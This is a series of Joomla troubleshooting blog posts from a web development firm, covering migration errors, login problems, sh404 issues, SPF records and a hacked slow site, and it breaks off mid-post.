  • One or more fields in the WHERE or ON condition (in case of a JOIN) is not indexed.
  • The query is badly written.

In the first case, you will need to add indexes to the affected field(s). In the second case, you will need to rewrite the query.

We hope this post helps you identify those queries affecting the performance of your Joomla website. If it doesn’t, of if it does, but you still need help fixing those queries, then why not contact us. We are experts in Joomla, our work is of top-notch quality, our fees are reasonable, and we are the friendliest developers on this planet!

“Fatal error: Cannot access protected property ContentViewArticle::$params” Error in Joomla

About 70% of the work we’re doing nowadays is migrating Joomla websites from version 1.5 to version 2.5. A common error that we get while migrating a template is the following:

Fatal error: Cannot access protected property ContentViewArticle::$params

We have seen the above error so many times so far that we now know the solution by heart.

So, how does this problem happen?

Old auto-generated Artisteer templates have a file called functions, which is located in the root directory of the Joomla’s template. Some functions (located in the functions file), such as the artxPageTitle function, try to access protected properties directly, which is technically illegal, and thus returning the above fatal error.

And, how can the problem be solved?

Many websites, even Joomla’s official website, suggest solutions that most likely will not work, or that will work, but will destroy some functionality on the website. This is a bit disappointing, because the solution couldn’t be simpler. Here’s how you can solve the problem:

  • Locate the problematic line (usually the error message will specify which line is that).
  • Check what is the object name trying to access the params property (or attribute). For example, if you have something like $page->params in your code then the object name that you’re looking for is $page.

  • Add the following line in the top of the function that has the problem (assuming the object name is $page):

    jimport( 'joomla.html.parameter' );
    $params = new JParameter($page->get('params'));

  • Replace all occurrences of $page->params with $params in your function. (again, we are assuming that the name of the object trying to access the $params property is $page).

  • That’s it!

A real life example would be the artxPageTitle function which should change from:

function artxPageTitle($page, $criteria = null, $key = null){
	if ($criteria === null)
		$criteria = $page->params->def('show_page_title', 1);
	return $criteria
		? ('<span class="componentheading' . $page->params->get('pageclass_sfx') . '">'
			. $page->escape($page->params->get($key === null ? 'page_title' : $key)) . '</span>')
		: '';
}

to:

function artxPageTitle($page, $criteria = null, $key = null){
	jimport( 'joomla.html.parameter' );
	$params = new JParameter($page->get('params'));

	if ($criteria === null)
		$criteria = $params->def('show_page_title', 1);
	return $criteria
		? ('<span class="componentheading' . $params->get('pageclass_sfx') . '">'
			. $page->escape($params->get($key === null ? 'page_title' : $key)) . '</span>')
		: '';
}

If this post is a bit too technical for you, then that's why we're here for! All you need to do is to contact us and you can rest assured that we'll fix this problem for you in a glimpse and that we won't charge you much!

Using Forward Slash Instead of a Hyphen in K2’s sh404 Links

Yes – we know – the title of this post couldn’t be more odd, but here’s the scenario:

  • We were migrating a large website from Joomla 1.5 to Joomla 2.5.
  • Nearly all of the content of the migrated website was created in K2 and the website was using sh404.
  • The links on the old Joomla 1.5 website had the following format: http://www.ourclientjoomlawebsite.com/[article-id]/[article-alias].html.
  • In the migrated Joomla 2.5 website, the links had the following format http://www.ourclientjoomlawebsite.com/[article-id][article-alias].html.

As you can see from the above, the links had a dash between the article id and the article alias in Joomla 2.5, however, in Joomla 1.5, they had a forward slash.

Now we have tried everything to change that dash into a forward slash – we changed every value in K2 sh404’s settings (which can be accessed in K2’s configuration from the K2 component, and not from sh404) – but nothing worked. The dash was always a dash…

So we checked K2’s code to see if the dash was hard-coded somewhere, and, to our surprise it was: Here’s line 181 of the file com_k2.php located under the components/com_k2/sef_ext directory:

$title[] = $row->id.'-'.$row->$sh404SefTitleAlias;

It was obvious that the dash was hard coded in the code…

So, what did we do to fix the problem?

We just changed the above line (in the file com_k2.php) to the following…

$title[] = $row->id.'/'.$row->$sh404SefTitleAlias;

… and K2 was intelligent enough to handle the rest! We purged the URLs in sh404 and we re-visited the website and all the links were now OK! Not too bad for a one-character-change in the code, huh?

Now, in case you have a problem with K2’s links in sh404, or just any other problem on your Joomla website, then you can rest assured that we can fix it for you. We are professional, we are hard working, we are fast, we know Joomla inside out, and we won’t charge you much. Come on, what are you waiting for, contact us!

The “Rebuild” Button In Joomla’s Menu Manager Page – A Double Edged Sword!

You have probably seen the “Rebuild” button on the Menu Manager page on your Joomla website for some time, but most likely you haven’t pressed it – because you didn’t know what it is, and perhaps you thought: “Maybe it’s not such a good idea to press that button”. Well, we think you’re right!

So, what does the Rebuild button do?

The rebuild button simply re-creates the paths of each menu item based on its alias, as well as the path of its parent item. Additionally, it fixes the lft and rgt fields on your website (the lft and rgt fields are beyond the scope of this post – let’s just say that if they are wrong then you will have issues with your Joomla website). For example, let’s say you have a root menu item called Products that has an alias field of products. Let’s also say that you have a child menu item (of the Products menu item) called Product 1. Assuming that the latter’s alias is product-1, then the natural path of that menu item is: products/product-1.

So far so good…

But, what if your menu item is not using a natural path?

Let’s say that you have a component that manually modifies menu items’ paths. For example, instead of having the above path as products/my-product, the component saves it as products/1-product, or maybe it saves it as my-products/product-1. Pressing on the Refresh button will change the path back to product/product-1, which is most likely something that you do not want; what if you have many internal and external links pointing to my-products/product-1, and all of a sudden that link on your website no longer exists?

So, what is the point of having a Rebuild button?

The Rebuild button is Joomla’s attempt to fix menu item issues caused by 3rd party extensions (that update menu items). For example, we had a case yesterday where one of our clients was creating a perfectly normal menu item, but that menu item was not working on the website (it was returning a 404 – Article Not Found or a 404 – Category Not Found – the first error was returned when the alias didn’t have a dash inside it, the second one happened when the alias did have a dash). Clicking on the Rebuild button fixed the problem – unfortunately, it created an array of issues with many other menu items. So, while the Rebuild button may break many links on your website (which paths are modified by 3rd party extensions), it may also fix some issues you’re having with menu items.

But shouldn’t Joomla fix itself automatically?

In all fairness, it shouldn’t. Extensions that update menu items should be meticulously written – otherwise, they can break the website. Joomla’s Rebuild button is just attempting to fix their mess, but by fixing their mess, it might create more mess.

However, Joomla should take into consideration customized menu items – this can be solved by having a field (in the #__menu table) that will state whether a menu item has been customized or not, so that it’ll be ignored (by it we are referring to the menu item) when the Rebuild button is pressed. This is the best solution to handle this issue – but not the perfect solution, because Joomla may need to still update the lft and rgt fields of this row for data integrity reasons.

Now – let’s talk about you. If you’re having problems with menu items, or if you clicked the Rebuild button and all hell broke loose, then fear not – we are there for you. Just contact us and we’ll help you fix your website in record time and for a very small cost!

10 Reasons Why You’re Not Able to Login to Your Joomla Website

We have so far resolved literally hundreds of cases where people were not able to login to their Joomla websites. Since our aim is to always make the life of a Joomla administrator as easy as possible, we have decided to list the top 10 reasons that result in the inability for one to login to a Joomla website, as well as the solution to each one of them. Without further delay, here they are:

  1. The user is trying to login with a wrong password

    Yes – we know it’s very obvious, but sometimes even the most obvious things are not that obvious, especially when one mistakes a zero (0) with an o (the letter o), an l (lowercase L) with an I, thinks that the question mark at the end of the password is just a typo (this happened to us!), or confuses a dash (-) with an underscore (_).

    Of course, in many cases, the user is entering the password that he used to use all the time, except that that password has changed – probably by someone else or by a script.

    Remedy: There are multiple remedies to this solution. If one has FTP access, then he can just create a script containing and UPDATE query that will reset the user’s password. If one is blessed with a phpMyAdmin access, then all he needs to do is to login to phpMyAdmin, go the #__users table, and change the password field for the affected user with the password of his choice (note that he must choose MD5 as a Function for the password to work).

  2. The account for that particular user is blocked

    Any user (even a super administrator) can be blocked from Joomla’s backend – additionally, a user can be blocked if he had too many failed login attempts. Once that user is blocked, he won’t be able to login (even if the password is correct).

    Remedy: Any user can be unblocked by logging in to phpMyAdmin, going to the #__users table, and then setting the block field for the affected user to 0 (instead of 1).

  3. There is a JavaScript error on the login page

    Joomla needs JavaScript to login users to the backend – as such, a JavaScript error on your login page can corrupt the login routine (so, when users click on the Log in button, nothing will happen).

    Remedy: Check your browser’s error console for any JavaScript errors if you’re pressing the Log in button and nothing is happening. If you’re not a programmer, then we suggest you let a programmer handle this for you: JavaScript errors are super hard to debug and fixing a JS error can break something else.

  4. The Joomla backend login module does not exist

    When this happens, not only the person won’t be able to login to Joomla – he just won’t be able to see the login form. We have discussed this issue in detail here.

    Remedy: We suggest that you read the above post for the complete solution; in short, what you need to do is to restore the mod_login folder under administrator/modules directory.

  5. There is a fatal error on your website

    When this happens – you either see a completely blank page or a descriptive error, depending on your error reporting settings. Fatal errors are usually caused by an error in a 3rd party system plugin or by a recent modification to your Joomla’s core.

    Remedy: The cause of this fatal error varies from one case to another, and, as such, we can’t give a generic solution to this one. If you’re a programmer, you can enable error reporting (if it’s not already enabled) to see what the actual error is and to fix it. If you’re not a programmer, then your best bet would be to call some Joomla experts (like us!). Note: We have written about this exact scenario before.

  6. The admin template does not exist or Joomla doesn’t have enough permissions to read it

    We have seen this case a few times and we have written about it. When the administrator template doesn’t exist, then the login form will be completely blank (similarly to the previous point) and as such, the Joomla administrator won’t be able to login.

    Remedy: Reset the permissions (recursively) on the admin template to 444 to allow Joomla to read it, or, if the admin template was completely deleted, then re-upload it from scratch or fallback to the default one. (By the way, we’re surprised that Joomla doesn’t fall back automatically in the backend to another template when that template can’t be read because this is what it does on the frontend.)

  7. Joomla is unable to write to the logs directory

    In order for Joomla to complete a successful login, it must have write access to the logs directory located under the root directory of the website. If it doesn’t, then the login fails and no error is displayed – which is very, very confusing!

    Remedy: The problem can be solved by changing the permissions of the logs directory under the Joomla website’s root to 777. (This can be done in any FTP client).

  8. The Joomla Authentication plugin is disabled

    99.99% of Joomla websites use the Joomla Authentication plugin for logging in users through the backend. The remaining 0.01% use other authentication plugins, such as ldap and gmail. For the 99.99% of Joomla websites, if the Joomla Authentication plugin is disabled, then people will be redirected back to the login page (with no error) when they try to login.

    Remedy: This issue can be addressed by logging in to phpMyAdmin, going to the #__extensions table, and then setting the enabled field of the plg_joomla_authentication plugin to 1.

    Note: When this problem happens, and if other authentications methods (such as ldap) are enabled, then the login process will take a while before redirecting back to the login page (this is because Joomla will be checking the ldap directory, which usually takes some time).

  9. The Joomla User plugin is disabled

    The Joomla User plugin is responsible for handling all user activity in Joomla. If that plugin is disabled, then even if the login is successful, then Joomla will redirect back to the login page without showing any errors as it doesn’t know what to do with the logged in user (makes sense?). This problem is extremely nasty because it’s very hard to debug – even for seasoned Joomla developers.

    Remedy: This issue can be resolved by logging in to phpMyAdmin, going to the table #__extensions, and setting the enabled value of the plg_user_joomla row to 1.

  10. Joomla’s ACL is messed up

    We saved the best (or is it the worst?) for last! A messed up ACL can potentially completely block any login attempts to your Joomla website. Not only that, it can wreak havoc on the frontend of your website as well. There are many signs that you have a messed up ACL, one of them is being able to login, but seeing a completely empty top menu in your backend. So you can login, but you just can’t do anything!

    Remedy: Consult with a Joomla expert. Joomla’s ACL is pretty delicate so do not attempt to fix this problem by yourself or else you might risk breaking other areas on your website.

We hope that you find the above guide comprehensive, and, more importantly, we hope that it helped you solve your problem. If it didn’t, then probably the next step would be to contact us. We guarantee you that we’ll fix the problem as fast as we can and at a very affordable cost!

Upload Not Working in Joomla’s Media Manager – How to Fix

One of our regular customers emailed us today and told us that the Media Manager on his Joomla website of his company is not working. He asked to take a look. We logged in to his website and we noticed that while the Media Manager page is loading properly, the upload functionality is not working. In fact, when we tried to upload an image (in FireFox), the following happened:

  • The below message popped up:

    Although this page is encrypted, the information you have entered is to be sent over an unencrypted connection and could easily be read by a third party. Are you sure you want to continue sending this information?

    and…

  • …once we clicked on Continue – we were redirected to a blank page!

The first thing that we tried to do was to enable debugging since a blank page in Joomla is nearly always a sign of an error. Unfortunately, the page remained blank even after debugging was turned on. Hmmm…

We then thought: maybe that JavaScript popup message is related to the problem. So, we checked the HTML code of the Media Manager page (where the files are uploaded), and we noticed that even though the website was set to only use https://, the Media Manager page was submitting to an http:// page (which was http://www.ourclientjoomlawebsite.com/administrator/index.php?option=com_config&view=component&component=com_media&path=&tmpl=component. Aha! That was the problem!

You see, the secure version of any website is not the same as the non-secure version of the same website from many perspectives – so while the upload was being done from the https version of the website, it was submitting to the non-secure version. OK – we know that the previous statement is a bit complicated, so let us explain (in simple and concise steps) what happened:

  • The file is uploaded to the non-secure version of the website.
  • The non-secure version of the form submission script (which was supposed to handle the upload) automatically redirects to the secure version of that script.

  • The secure version of the script can’t find the file that needs to be uploaded – and throws an empty page because it thinks that this is most likely an attack.

But – why was the form submitting to the non-secure version of the script?

Because Joomla’s configuration.php told it to… Yes – it was all its fault, the configuration.php had the the $live_site variable set to http://www.ourclientjoomlawebsite.com instead of https://www.ourclientjoomlawebsite.com – changing that variable to https://www.ourclientjoomlawebsite.com fixed the problem!

But isn’t that a Joomla bug?

As much as we don’t like to say it – yes, it’s a bug in Joomla’s core. Here’s why: what if the Joomla administrator wants to set the $live_site to the non-secure version of his website and wants to only have the backend of his website running in secure mode. Currently, this won’t work, because the form submission script of the Media Manager is set to use the $live_site variable if it exists. So either the whole website runs in https mode (not just the backend), or the $live_site variable is set to empty.

Is there a workaround?

The only workaround that can fix this erroneous behavior is by modifying a core file in Joomla – which is never recommended because it might affect (or be affected by) future Joomla updates.

Now, if you’re having problems uploading files to your Media Manager, and if the above didn’t help you, then maybe it’s a permission issue – remember, Joomla must have recursive write permissions to the tmp and the images directory for the Media Manager to work. If it’s not, then maybe it’s because you need to increase the maximum upload size in your Media Manager. If it’s neither, then your best option would probably be to contact us. We’re fast, we’re efficient, we don’t charge much, and we know our Joomla!

How to Change the “Email this link to a friend” Template in Joomla

We are currently finalizing the migration of a very large Joomla website at the moment (from 1.5 to 2.5). During the latest QA session, we discovered that the “Email this link to a friend” popup page (the page that pops up when you click on the email icon on any article) does not look properly formatted. In this post, we will be explaining how to modify the template for this popup window!

As most Joomla developers know, every single layout of any component in Joomla is overridable – which means that creating a file, giving it a certain name and placing it in the right place will replace the layout of any page in Joomla. So, which file controls the layout of the “Email this link to a friend” popup page?

Well, that file is called default.php and is located under the /components/com_mailto/views/mailto/tmpl directory. So, in order to override the layout of that file, all you need to do is to copy that default.php file to the /templates/[your_template_name]/html/com_mailto/mailto directory (in most cases, that directory may not exist, so you will need to create it). Once you do that, you will be able to modify the look & feel of the “Email this link to a friend” popup by just editing that file (the default.php file).

But what about style changes?

CSS styles for the “Email this link to a friend” popup are controlled by the print.css file which is located under the /templates/[you_template_name]/css directory.

And how about the confirmation message?

Unfortunately, the confirmation message (the message that appears after you press the Send button) is not controlled by the same view that controls the layout of the form. It is controlled by another view, which is the sent view. So, if you would like to modify the confirmation message page, then all you need to do is to copy the default.php file from /components/com_mailto/views/sent/tmpl to the /templates/[your_template_name]/html/com_mailto/sent folder (again, you will need to create that directory if it doesn’t exist) and make your changes to the copied file.

Is that it?

Yes – that’s it! And the best thing is, you don’t need to touch any Joomla core file, which means that you can safely apply all Joomla updates without any fear that they may break your website!

Are there any caveats

There is one: Since you’re not changing the core (which is the right way to go) and you’re applying the layout changes for that popup only to a particular template, you will lose all the changes when you switch to a different template. However, copying the above directories to the new template will usually solve the problem (if the modified code is well written).

Now, if you need help changing the “E-mail this link to a friend” template, then all you need to do is to contact us and we’ll do it for you in no time! Our prices are very affordable, our work is professional, we are nice people to work with, and we really love Joomla!

How to Migrate Modules’ Data from Joomla 1.5 to Joomla 2.5

– Note 1: This post is about migrating modules’ data (such as settings, content, etc…) – it’s not about migrating the actual code. This post comes to help when you have lots of modules on your Joomla 1.5 website, and you don’t have time to manually migrate all the data for all these modules.

– Note 2: This post is very technical and a bit advanced, if you’re not a programmer and if you don’t have experience in database queries, then we suggest that you email this post to your programmer to do the below for you – or even better – contact us to do it for you ourselves!

– Note 3: This post assumes that you have access to phpMyAdmin and you know how to use it. If you don’t, then again, either forward it to your developer/system administrator or let us do it for you.

– Note 4: This post is somehow similar to our previous post on migrating users from Joomla 1.5 to Joomla 2.5 – except that the latter is about migrating users.

The funnest part, in our opinion, in a Joomla migration project, is migrating modules (the second funnest is migrating the template). It’s only when you migrate the modules that you see the website becoming (errr) a website, again! However, the task of migrating modules is usually not an easy task and it consists of two parts:

  1. Migrating the actual code for each and every module.
  2. Migrating the data for each and every module.

Migrating the module’s code is too specific and there is no silver bullet for such a migration. On the other hand, migrating the modules’ data, including the settings, the ordering, and the placement, is an easy task if you have access to phpMyAdmin. Let us explain, in a few easy steps, how to do this:

  • Login to phpMyAdmin

    Logging in to phpMyAdmin can be typically done from your hosting account and the process varies depending on your environment. If you have troubles accessing phpMyAdmin, then you should contact your hosting provider.

  • Select the database of your old Joomla website

    The name of the database of your old Joomla website can be found in your configuration.php file. (It is the value of the $db variable).

  • Run the below query

    Click on SQL (in phpMyAdmin) and run the following query:

    SELECT `id`, `title`, `content`, `position`, `ordering`, `module`, `published`, CASE WHEN access <= 1 THEN 1 ELSE access END AS `access`, `showtitle`, `params`, `client_id`, '*' as `language` FROM `jos_modules` WHERE `published` = 1

    Some observations on the above query:

    • Notice the condition on the access field - this is because an access field that has a value of 0 in Joomla 1.5 must have a value of 1 in Joomla 2.5.
    • We are adding the language field (that doesn't exists in Joomla 1.5) and we are giving it a value of *, which means that the module is available in all languages (if this is not the behavior that you want then you need to modify the query to accommodate your needs).

    • We are filtering out non-published modules. If you don't want that then run the following query instead:

      SELECT `id`, `title`, `content`, `position`, `ordering`, `module`, `published`, CASE WHEN access <= 1 THEN 1 ELSE access END AS `access`, `showtitle`, `params`, `client_id`, '*' as `language` FROM `jos_modules`

  • Export the results of the query

    This can be done by scrolling down the query results page (after running the query above), and clicking on the Export link under Query results operations. Once you click on the button, you will be redirected to another page, on which you should do the following:

    • Choose Custom as Export Method.
    • Click View output as text under Output.

    • Click on Go at the very bottom of the page and finally copy the exported data (by pressing Ctrl+a and then Ctrl+c on the window containing the exported data).

  • Prepare the data to be imported

    Now that you have exported the data, you will need to prepare it for importing. All you need to do is to apply the following to the exported data:

    • Replace all references to jos_ with the table prefix of your Joomla 2.5 website (the table prefix can be found in the configuration.php file of your new Joomla website).
    • Replace the first line from:

      INSERT INTO `[table_prefix]modules` (`id`, `title`, `content`, `position`, `ordering`, `module`, `published`, `access`, `showtitle`, `params`, `client_id`, '*') VALUES

      to:

      INSERT INTO `[table_prefix]modules` (`id`, `title`, `content`, `position`, `ordering`, `module`, `published`, `access`, `showtitle`, `params`, `client_id`, `language`) VALUES

      Note that there might be several references to the above query in the exported data - the number of these references is proportional to the size of your modules table.

  • Import the modules' data into your new website

    Now you need to import the modules' data to your new Joomla website. All you need to do is the following:

    • Select the database of your new Joomla website.
    • Click on SQL (located on the top of the page) and paste the modified exported data, and then click on Go at the bottom.

    • That's it! Assuming everything went well, you have successfully migrated your modules' data from Joomla 1.5 to Joomla 2.5! Congratulations!

Now it is important to mention that the above process will not migrate the associations of the modules to the menu items. This is a much more complex process and it's outside the scope of this post. If you need help doing this, then please contact us. Our fees are very competitive, our work is very fast, and our results are always satisfactory to our clients!

How to Fix “This Page Isn’t Redirecting Properly” on Joomla

We had a small task today where one of our clients told us that one of the pages on his Joomla website was taking a long time to load, and then eventually it was displaying a blank screen. We first thought that his website was hacked, but then, when we enabled error reporting, we saw the following error on Firefox: “This Page Isn’t Redirecting Properly”. Hmmm…

When we saw the above error, we didn’t rule out a hack, but we thought that it might be something else… So, we investigated the issue, and it turned out that he had sh404 installed (the worst Joomla extension), and he explicitly added an alias in the URL manager, for that page, to redirect to that same page (e.g. the page was redirecting to itself, causing an infinite loop). We removed that alias and the page loaded properly.

If you’re having the same issue yourself, then here are step-by-step instructions on how to fix it:

  • Login to the backend of your Joomla website.
  • Click on Components -> sh404SEF on the top menu.

  • Click on URL Manager.

  • Search for the page that you’re having problems with.

  • Click on the name of that page. Let’s assume that this page is called our-business.html.

  • On the popup window, click on Aliases.

  • Remove the entry our-business.html from the list of aliases.

  • Click on Save.

  • That’s it!

Doing the above steps should fix your problem – if it didn’t, then we urge you to contact us and we’ll solve the problem for you in no time. Oh, and don’t worry about our fees, they are very affordable!

sh404 – The Worst Joomla Extension

We don’t like to attack Joomla extensions, especially prominent ones. In fact, we can’t remember if we ever did attack an extension on our blog (if you know that we did that before, then please let us know in which post). But this morning something happened, something that made us choose sh404 – the famous extension for redirecting pages on Joomla websites – as the holder of the worst Joomla extension of all time title!

Let us now narrate what happened today… It was about 10 AM EST, one of our regular clients, let’s call him Steve, called us and told us that he was getting a 404 error on one of the pages on his website. Here’s Steve’s briefing about the issue:

  • The page exists.
  • He already created a menu item pointing to that page.
  • Both the page and the menu item are published.
  • He was trying to reach the page on his Joomla website based on its alias.

What Steve forgot to mention about his website is that he has sh404 installed. We knew this because we have worked on his website many times before. So, we logged in to the backend of his Joomla website, we then loaded the URL Manager page in sh404, and we purged all the URLs on the website, and left only the hard coded ones (sh404 doesn’t delete the manually inserted URLs – which is, to be fair, the right and expected behavior). We scanned the hard coded URLs for an entry that was relevant to the page in question but we found none.

We then went to the website and we tried to reach that page, but we still got a 404 error – even trying to load the page based on its non-SEF URL returned a 404 error. We double checked if everything was OK (the article exists, the article is published, the menu item exists and is published, the menu item’s alias is correct, etc…) – and it was. We then spent a lot of time beating around the wrong bushes! We knew that the problem was with sh404 (disabling sh404 solved the problem), but we just didn’t know why this was happening! A while later, someone from our team said, why don’t we just check phpMyAdmin, maybe sh404 has the link there somewhere – and so we did. We logged in to phpMyAdmin and we saw that the table #__sh404sef_aliases had an entry where the newurl was the non-SEF link of the article, and the alias was set to empty. Deleting that row solved the problem, but for some reason, we didn’t feel that we really solved the problem… We started wondering what created that wrong entry and what is the guarantee that this exact same issue will not happen again? In our opinion, we just cleaned the mess caused by sh404, but unfortunately, we didn’t solve the problem, as the problem lies somewhere in the core of sh404, and probably fixing it will have side effects elsewhere!

Now you might be thinking, OK, but does that really make sh404 the worst Joomla extension ever? Isn’t that a bit harsh?

If it was the first time that we see a problem that is caused by the instability of sh404, then we’d agree with you, but there isn’t a week that goes by where at least one client comes to us with an sh404 problem, and let us tell you something, all sh404 issues are extremely weird and very hard to solve!

But isn’t sh404 a very complex extension, which means that it’s allowed to have a few bugs here and there? Maybe, but let’s examine, in one sentence, the basic and main job that sh404 has to do:

sh404 is an extension that redirects on-site non-SEF URL’s to well formatted SEF URLs.

That’s its basic job, and we know, as programmers, that once you have the rewriting rules right then it’s a very simple process – yet after years and years of development, sh404 is still (in our opinion) an unstable extension that should not be installed on production websites – unfortunately though, there is no alternative to this mess, and so many Joomla website owners/administrators are stuck with it.

On a closing note to this rant, think about the following:

  • How come your Joomla SEF links always work when you only have Joomla’s native System SEF plugin running, while you have to routinelypurge links on sh404 to fix redirection issues?
  • How would have solved the above issue (if it happened to you) if you didn’t have access to phpMyAdmin?

  • How come sh404 has not reached stability yet, even though it’s a commercial extension with a huge community and even though it has been there for years?

  • Why can’t the developers of sh404 focus more on the development of the main functionality of the extension rather than working on the development of bells and whistles (such as analytics and shURLs). Don’t they think that people will appreciate a solid extension with less (mostly unneeded) functionality more than a very large extension with (mostly) broken functionality.

Now don’t take us wrong, we think that the people who are working on the development of sh404 are very intelligent people and that sh404 was, at one point, an excellent plugin and that’s why it has so many adopters, but it has since grown into a monster that nobody is able to tame, which is why we consider it now the worst Joomla extension ever.

By the way, if you’re having sh404 problems like our client Steve, then feel free to contact us, and we’ll sure fix them! Our rates are extremely competitive, our work is professional and fast, we are very friendly, and we always welcome new customers!

SPF Records and Sending Emails from Your Joomla Website

Quite often, we receive requests from our customers asking us to “fix” their SPF records on their Joomla websites. So, what is an SPF record, and why does a Joomla website need it?

An SPF (SPF stands for Sender Policy Framework) record is a DNS entry that will tell other mail servers which IP (or range of IPs) is (are) allowed to send an email pertaining to your domain. Yes, we know, this statement might sound a bit too technical, so let us give you an example…

The SPF record of itoctopus.com is currently the following:

v=spf1 +a +mx +ip4:173.199.145.148 +ip4:173.199.145.150 -all

The SPF record above tells the world that only the following IPs are allowed to send an email originating from itoctopus.com:

  • 173.199.145.148
  • 173.199.145.150

Now, you might be wondering, why is that necessary?

Well, the main reason behind SPF is to prevent spoofing. Email spoofing is when a spammer sends an email that looks like it’s sent from a certain domain (because of the headers and the from address), while, in reality, it’s not.

But why should someone care about email spoofing?

Imagine that a spammer sends every day thousands of emails that appear to be incoming from your domain. Sooner or later, your domain will be blacklisted and all the emails that are sent from your domain, even the legitimate ones, will end up either blocked or in the Junk E-mail folder that no one usually reads. In other words, the majority of your customers will no longer be able to receive any of your emails, whether these emails are sent from your Joomla website (for example, purchase confirmation emails, newsletters, reminders, etc…) or by you directly! Ouch!

So, how does SPF really work and how does it help prevent spoofing?

As explained earlier in this post, an SPF record explicitly specifies which IPs are allowed to send emails on your domain’s behalf. So, mail servers receiving emails from your domain will check whether the IP of the sending server exists in your SPF record. If it does, then it’ll redirect the email to the proper recipient, if it doesn’t, then it’ll reject the email (some servers will tell you that your email was rejected, others will just ignore it). In a best case scenario, the email will be tagged by the mail server with [SPF] and mail clients will automatically place it in the Junk folder.

As you can see, the existence of an SPF record ensures that mail servers will only accept legitimate messages from your domain, which means that illegitimate messages will no longer affect the reputation of your domain!

Will it hurt if the domain doesn’t have an SPF record?

Not having an SPF record won’t hurt until a spammer starts sending emails that appear to be originating from your domain. This is when an SPF becomes an absolute necessity to ensure that your emails reach your audience – or else, you will be forced to use free alternatives (such as gmail and the likes) to reach up to your clientele, which is not professional.

But what if the Joomla website doesn’t send any emails, is an SPF record still a necessity?

If the Joomla website doesn’t send emails, and if you don’t have any email accounts for that Joomla website, then it’s not really a necessity, but we recommend that you do it. Creating an SPF record is not that hard as you’ll see below.

How to check if a domain has an SPF record?

There are many online tools (some are commercial and some are free) that will list the SPF record of any domain (assuming, of course, that domain has an SPF record). Just Google spf record check and see what you’ll get. Alternatively, you can call your hosting provider and ask them whether your domain has an SPF record or not.

Can the SPF record added through Joomla’s backend?

No – it can’t. The SPF record is a DNS entry that cannot be added through your Joomla website’s backend.

So, how and where can the SPF record be added?

The answer depends on your hosting environment since the process substantially differs from one environment to the other. For example, if you’re using cPanel, then you can add an SPF record the following way:

  • Login to your cPanel account for your Joomla website.
  • Click on Email Authentication.

  • Ensure that the SPF status is Status: Enabled & Active (DNS Check Passed) . If it’s not, then click on the Enable button just under SPF.

  • In the Additional Ip blocks for your domains (IP4) field, add the IPs that are allowed to send emails for your domain.

  • Click on Update.

  • That’s it!

If you’re using Plesk or another environment, then it’s better to have a system administrator do it for you (we can also do it for you!), since it can get a bit complicated and it can take some time.

Note that adding an SPF record is technically a DNS change, and, as such, it might take up to 48 hours to take effect because that change needs to propagate across servers worldwide. If you want it to take effect in a shorter period, then try lowering the TTL to something like 300 – which is the minimum (ask your hosting provider to do this for you if you don’t know how to do it).

Should the SPF record change when the domain’s IP change?

If the mail server’s IP changes as well (which is most likely the case), then yes, definitely, the SPF record should be updated to reflect the new IP (or ranges of IPs) that is (are) allowed to send emails from your domain.

We hope that this post on SPF records was helpful. We tried to put everything in layman’s terms because we know that the majority of Joomla website owners/administrators are not technical. Now, if you read the above and you feel you need help setting up (or fixing) an SPF record on your Joomla website, then do not hesitate to contact us immediately! We are friendly, we are very experienced in Joomla, we don’t charge much, our work is very clean, and we are super fast!

Your Joomla Website Is Really Really Slow? Maybe It’s Hacked!

A new customer called us a few hours ago, and told us that his website was really slow. He told us that his website was hacked, and that his hosting company “fixed” the problem, but after they “fixed” the problem, his website became super slow. We thought that it might be a simple thing as enabling the System Cache plugin, but when we visited the website, we knew that there was something wrong…

It took, on average, 35 seconds to load a page on his website. Enabling caching fixed the problem, but 35 seconds without the cache? There must be something terribly wrong with the website, especially when taking into account that the whole website consists of a handful of pages (and each page has just 3 modules).

Our usual suspect, in this case, is a heavy query somewhere that is slowing down the whole website, so we printed all the queries that were running on the homepage, and then we started running each and every query on phpMyAdmin. To our surprise, all queries executed in milliseconds! Which means that what’s causing the problem is something else…

We thought that it might be a DNS issue, so we added the following code to the beginning of the index.php (which is located under the root directory of the website):

if ($_SERVER['REMOTE_ADDR'] == '[OUR IP]'){
	die('Hello itoctopus!');
}

We uploaded the index.php file, and we loaded the page, and it loaded instantly, which proves that there is no DNS issue whatsoever…

We started thinking, could it be something wrong in the .htaccess file causing the issue? So we just renamed the .htaccess file to htaccess.old, and tried to load the page (after reverting the change that we did in the previous step, of course), but the page still took more than 30 seconds to load.

What could it be?

As a last resort, we checked the HTML source code of the page, maybe there’s an iframe somewhere that is delaying the whole loading of the page? We didn’t see an iframe, but what we did see was many hidden links to malicious websites! Aha, the website was still hacked! With that knowledge, we used our easy method to quickly discover which Joomla file(s) was(were) hacked, and we had an immediate winner! It was the application.php file located under the includes directory. The application.php file had a block of code (that was injected) that was using curl to retrieve content from a (very slow) malicious website located far, far away!

We removed the curl code and the website became, as we expected, super fast! Problem solved!

But what should one learn from this experience?

Well, there are two lessons learned here:

  1. Never, ever dismiss the idea that the website is still hacked when your hosting company tells you that it’s fixed – especially when your hosting company tells you that it’s fixed. First of all, it’s not the responsibility of the hosting company to fix your website, second of all, support personnel in hosting companies consists of, at best, system administrators, who may or may not have the required skills to fix your website, and who may or may not care about your website as much as you do.
  2. Extreme slowness in loading time might be a sign that the website is hacked. This is almost 100% true when the website in question is a very simple website that consists of a few pages/modules.

Now, if your website is extremely slow, we suggest you check if it’s hacked or not, and if you feel that you need some experts’ help, then just contact us! We’re experts in Joomla security, we’re very professional, our rates are very affordable, and we know that we can fix your website!

K2 Items Not Appearing in K2 Modules After Migrating to Joomla 2.5

Note: This post assumes that you have migrated the K2 extension to the latest version on Joomla 1.5 prior to migrating to Joomla 2.5.

We are currently working on a large, a very large migration project from Joomla 1.5 to Joomla 2.5. A mini-project in this migration project is migrating K2 content to the new Joomla website. K2 migration is usually very easy and straightforward. Here’s what we did to migrate K2:

  • We migrated the old version of K2 to the latest version of K2 on the old (Joomla 1.5) website.
  • We installed K2 on the new (Joomla 2.5) website.

  • We copied all the K2 tables (using phpMyAdmin) from the old website to the new website.

The above process was supposed to work seamlessly, since both websites have the latest version of K2 (which means that the K2 database structure is exactly the same), but for some reason, K2 items in the K2 content module (as well as other K2 modules) did not show up.

So, we opened the K2 content module and printed the query that was used to retrieve the rows from the database, and here’s what we got:

